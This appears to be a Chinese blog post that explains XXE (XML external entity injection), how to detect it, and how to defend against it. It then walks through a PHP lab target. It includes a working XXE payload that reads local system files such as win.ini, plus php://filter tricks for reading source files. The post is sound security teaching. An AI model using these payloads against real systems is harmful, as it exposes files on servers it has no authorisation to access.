【渗透测试】XXE(外部实体注入):PHP_XXE解题简记

目录

🦄一、XXE(外部实体注入)

🐹1.1 漏洞介绍

🐹1.2 漏洞识别

🐹1.3 漏洞防御

🦄二、PHP_XXE解题

🐹2.1 解题步骤

🐹2.2 注意事项

🐔2.2.1 XML语句格式

🐔2.2.2 内部实体与外部实体

🐔2.2.3 文件读取的方式


🦄一、XXE(外部实体注入)

🐹1.1 漏洞介绍

    XXE漏洞发生在应用程序解析XML输入时,并没有禁止外部实体的加载,当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

🐹1.2 漏洞识别

    首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,比如Content-Type: text/xml, post的数据包含XML格式,如:<forgot><username>admin</username></forgot>请求头中添加Content-Type: text/xml,或Content-type: application/xml。也可以根据url一些常见的关键字进行判断测试,例如wsdl (web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。

🐹1.3 漏洞防御

(1)使用开发语言提供的禁用外部实体的方法

·PHP:

libxml_disable_entity_loader (true);

·Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences (false);

·Python:

from lxml import etree

xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

(2)过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC

🦄二、PHP_XXE解题

🐹2.1 解题步骤

(1)打开靶场,输入任意账号密码登录,拦截数据包。观察到数据包,发现body体数据类似XML文件形式,故可以尝试进行XML外部实体注入

(2)在body体中添加xml语句,并重发数据包

🐹2.2 注意事项

在添加XML语句时要注意以下事项:

🐔2.2.1 XML语句格式

<?xml version="1.0"?>

<!DOCTYPE test1[

<!ELEMENT foo ANY>

<!ENTITY test SYSTEM "file:///C:/windows/win.ini">

]>

<user><username>&test;</username><password>admin</password></user>

第一行为XML声明,用来定义XML的版本,一般情况可以不要

第二至五行为DTD,用来定义XML的合法元素。!DOCTYPE 用来声明文档类型;!ELEMENT定义一个元素(XML标签名)这里类型为ANY;!ENTITY声明一个实体(XML标签中的内容)

第六行为是XML树结构,为实际内容

注意:

a.在利用XXE攻击时!ELEMENT元素可不用定义

b.!ENTITY声明的实体要在树结构中以&实体名;的形式引用,否则无法显示读取内容

🐔2.2.2 内部实体与外部实体

内部实体声明:<!ENTITY entity-name "entity-value">

外部实体声明:<!ENTITY entity-name SYSTEM "URI/URL">

🐔2.2.3 文件读取的方式

​
file:///                   #file协议读取文件

http://url/file.txt         #http协议读取站点下的文件

PHP://filter                #文件流形式读取php文件

注意:在读取php文件时要用PHP://filter协议,以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析。那我们若是要读取php文件则可以使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法对内容进行base64编码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

离陌lm

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值